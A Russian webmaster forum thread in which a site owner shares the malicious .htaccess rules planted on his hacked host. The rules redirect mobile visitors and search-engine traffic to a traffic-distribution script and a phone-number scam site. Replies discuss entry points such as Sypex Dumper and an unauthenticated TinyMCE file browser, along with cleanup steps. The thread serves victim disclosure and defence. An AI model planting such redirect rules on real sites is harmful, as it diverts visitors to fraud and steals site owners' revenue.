lll3.ru и ooo6.ru - читерский редирект

123 4
Shlackbaum
На сайте с 18.08.2010
Offline
322
6268

Сегодня взломали один из моих хостингов и разместили в htaccess такой код:

RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alca [NC,OR]
RewriteCond %{HTTP_USER_AGENT} amoi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} audi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} aste [NC,OR]
RewriteCond %{HTTP_USER_AGENT} avan [NC,OR]
RewriteCond %{HTTP_USER_AGENT} benq [NC,OR]
RewriteCond %{HTTP_USER_AGENT} bird [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blac [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blaz [NC,OR]
RewriteCond %{HTTP_USER_AGENT} brew [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cell [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cldc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cmd- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} dang [NC,OR]
RewriteCond %{HTTP_USER_AGENT} doco [NC,OR]
RewriteCond %{HTTP_USER_AGENT} eric [NC,OR]
RewriteCond %{HTTP_USER_AGENT} hipt [NC,OR]
RewriteCond %{HTTP_USER_AGENT} inno [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ipaq [NC,OR]
RewriteCond %{HTTP_USER_AGENT} java [NC,OR]
RewriteCond %{HTTP_USER_AGENT} jigs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} kddi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} keji [NC,OR]
RewriteCond %{HTTP_USER_AGENT} leno [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-c [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-d [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-g [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lge- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} maui [NC,OR]
RewriteCond %{HTTP_USER_AGENT} maxo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mits [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mmef [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mobi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mot- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} moto [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mwbp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} nec- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} newt [NC,OR]
RewriteCond %{HTTP_USER_AGENT} noki [NC,OR]
RewriteCond %{HTTP_USER_AGENT} opwv [NC,OR]
RewriteCond %{HTTP_USER_AGENT} palm [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pana [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pant [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pdxg [NC,OR]
RewriteCond %{HTTP_USER_AGENT} phil [NC,OR]
RewriteCond %{HTTP_USER_AGENT} play [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pluc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} port [NC,OR]
RewriteCond %{HTTP_USER_AGENT} prox [NC,OR]
RewriteCond %{HTTP_USER_AGENT} qtek [NC,OR]
RewriteCond %{HTTP_USER_AGENT} qwap [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sage [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sams [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sany [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sch- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sec- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} send [NC,OR]
RewriteCond %{HTTP_USER_AGENT} seri [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sgh- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} shar [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sie- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} siem [NC,OR]
RewriteCond %{HTTP_USER_AGENT} smal [NC,OR]
RewriteCond %{HTTP_USER_AGENT} smar [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sony [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sph- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} symb [NC,OR]
RewriteCond %{HTTP_USER_AGENT} t-mo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} teli [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tim- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tosh [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tsm- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} upg1 [NC,OR]
RewriteCond %{HTTP_USER_AGENT} upsi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} vk-v [NC,OR]
RewriteCond %{HTTP_USER_AGENT} voda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} w3cs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wap- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapa [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapr [NC,OR]
RewriteCond %{HTTP_USER_AGENT} webc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
RewriteCond %{HTTP_USER_AGENT} xda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} xda- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} up.browser [NC,OR]
RewriteCond %{HTTP_USER_AGENT} up.link [NC,OR]
RewriteCond %{HTTP_USER_AGENT} windows.ce [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iemobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mmp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} symbian [NC,OR]
RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wap [NC,OR]
RewriteCond %{HTTP_USER_AGENT} phone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pocket [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} PPC [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Series60 [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Opera.Mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ipad [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iPad [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iPhone [NC,OR]
RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC]
RewriteCond %{HTTP_USER_AGENT} !bsd [NC]
RewriteCond %{HTTP_USER_AGENT} !x11 [NC]
RewriteCond %{HTTP_USER_AGENT} !unix [NC]
RewriteCond %{HTTP_USER_AGENT} !macos [NC]
RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]
RewriteCond %{HTTP_USER_AGENT} !playstation [NC]
RewriteCond %{HTTP_USER_AGENT} !google [NC]
RewriteCond %{HTTP_USER_AGENT} !yandex [NC]
RewriteCond %{HTTP_USER_AGENT} !bot [NC]
RewriteCond %{HTTP_USER_AGENT} !libwww [NC]
RewriteCond %{HTTP_USER_AGENT} !msn [NC]
RewriteCond %{HTTP_USER_AGENT} !america [NC]
RewriteCond %{HTTP_USER_AGENT} !avant [NC]
RewriteCond %{HTTP_USER_AGENT} !download [NC]
RewriteCond %{HTTP_USER_AGENT} !fdm [NC]
RewriteCond %{HTTP_USER_AGENT} !maui [NC]
RewriteCond %{HTTP_USER_AGENT} !webmoney [NC]
RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]

RewriteRule ^(.*)$ http://login.tw1.ru/tds/tds.php?ref=%{HTTP_HOST} [L,R=302]

RewriteCond %{HTTP_REFERER} ^http://www\.ya\.ru/ [OR]
RewriteCond %{HTTP_REFERER} ^http://ya\.ru/ [OR]
RewriteCond %{HTTP_REFERER} ^http://www\.google\.com/ [OR]
RewriteCond %{HTTP_REFERER} ^http://google\.com/ [OR]
RewriteCond %{HTTP_REFERER} ^http://www\.yandex\.ru/ [OR]
RewriteCond %{HTTP_REFERER} ^http://yandex\.ru/ [OR]
RewriteCond %{HTTP_REFERER} ^http://www\.google\.ru/ [OR]
RewriteCond %{HTTP_REFERER} ^http://google\.ru/ [OR]
RewriteCond %{HTTP_REFERER} ^http://go\.mail\.ru/ [OR]
RewriteCond %{HTTP_REFERER} ^http://vk\.com/ [OR]
RewriteCond %{HTTP_REFERER} ^http://nova\.rambler\.ru/

RewriteRule ^(.*)$ http://ooo6.ru/?1&source=%{HTTP_HOST} [L,R=302]

Заметил, что тупо упали доходы с директа:)

Резко уменьшилось количество показов, хотя траф остался тем же (по ли.ру и по Я.Метрке)

Полез в Метрику - увидел что траф с ПС уменьшился в 2 раза, но компенсирован трафом по ссылкам. Оказалось что это с сайта вида http://название-сайта.lll3.ru

Сайт мошеннический который просит ввести номер телефона, чтобы якобы иметь возможность посмотреть сайт.

В общем после некоторых размышлений понял, что ситуация где-то на сервере - в результате чего нашел этот код.

Механизм (насколько я понимаю этот код) простой - на уровне сервера половина трафа с ПС тупо перенаправляется на мошеннический сайт.

Используется TDS'ка так что видимо это взломали товарищи из соседнего раздела (горите в аду, твари)

Для справки:

Хостинг - masterhost

CMS Битрикс последней обновленной модели.

Тему начал, т.к. авось у кого тоже есть такая фигня - мож помогу кому-то, т.к. Гугл и Яндекс мне не помогли.

UPD: После удаления говнокода естественно рекомендую заменить все пароли доступов к взломанным или ассоциируемым сайтам.

Пустота. Какого черта здесь появляется чья-то реклама?
[Удален]
#1

Тоже была такая же история.

Код такой же, отличается только сайтом злоумышленника.

Причём взламывали как на джумле, так и на wordpress (битрикса небыло).

И если на одном хостинг-аккаунте было 2 сайта, то ломался 1, а второй даже не трогали.

Видимо ломают на аккаунты, а через дырки в ЦМС или настройках сервера. И меняют только .htaccess

L
На сайте с 10.10.2009
Offline
50
#2

на нашем хостинге провели расследование и написали, что ломают таким образом часто через Sypex Dumper и даже запретили-заблокировали его.

Shlackbaum
На сайте с 18.08.2010
Offline
322
#3

Опять код появился...

Ппц кто-то конкретно ломает хостинг либо у мастерхоста конкретная дыра где-то - или вместе с сайтами еще и все мои ящики сломали

или

залит бэкдор или шелл, через который в автоматизированном режиме происходит замена .htaccess
Shlackbaum
На сайте с 18.08.2010
Offline
322
#4

Так, у меня квалификации не хватает. Кто помочь может?:)

Thommy
На сайте с 06.05.2010
Offline
139
#5

У вас точно шелл и дырка до сих пор открыта. У меня такое было - периодически приходилось вычищать. До тех пор, пока не нашли лазейку и не закрыли.

R
На сайте с 24.01.2008
Offline
180
#6

Обращайтесь, поможем, проверим сайт на вирусы и дадим рекомендации!

Удаление вирусов с сайта, защита сайта, Гарантия! ( /ru/forum/999073 ) -> топик на маулталк ( http://www.maultalk.com/topic113834s0.html ) -> Топик в сапе ( http://forum.sape.ru/showthread.php?t=79363 ). TELEGRAM - https://t.me/Doktorsaitov
MoMM
На сайте с 16.06.2006
Offline
727
#7

проверяйте наличие встроенного в CMS редактора

многие используют tiny mse с браузером tinybrowser, а он не требует логина и зная урл браузера в CMS можно заливать что угодно на сайт...

самый простой способ фикса - просто взять файлы браузера и изменить их названия и название его папки, потом пройтись по CMS и поменять названия в файлах из которого он вызывается... с Дримвьювером это 5 минут работы....

Shlackbaum
На сайте с 18.08.2010
Offline
322
#8

MoMM, Битрикс же... Куда там

MoMM
На сайте с 16.06.2006
Offline
727
#9
Shlackbaum:
Битрикс же... Куда там

а в чем проблема? я с битриксом не работал - неуклюжая и громоздкая, прожорливая на ресурсы... там нельзя сделать поиск по названию файла?

S
На сайте с 29.01.2006
Offline
404
#10

Shlackbaum,

Опять код появился...

Ищите в гугле что-то типа "защитить htaccess от перезаписи (от изменения)". Была у меня такая же фигня - плохой код появлялся после исправления. Надо в htaccess ещё пару строчек добавить, которые его запрещают изменять.

Сейчас я не могу посмотреть, что конкретно делал, но, может, это поможет - http://wb0.ru/articles/17.htm - со слов "Предположим, что вы хотите защитить от несанкционированного доступа ваш файл .htaccess.".

(к вопросу "Гугл vs Яндекс" - эту статью нашел как раз в Яндексе;-))

123 4

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий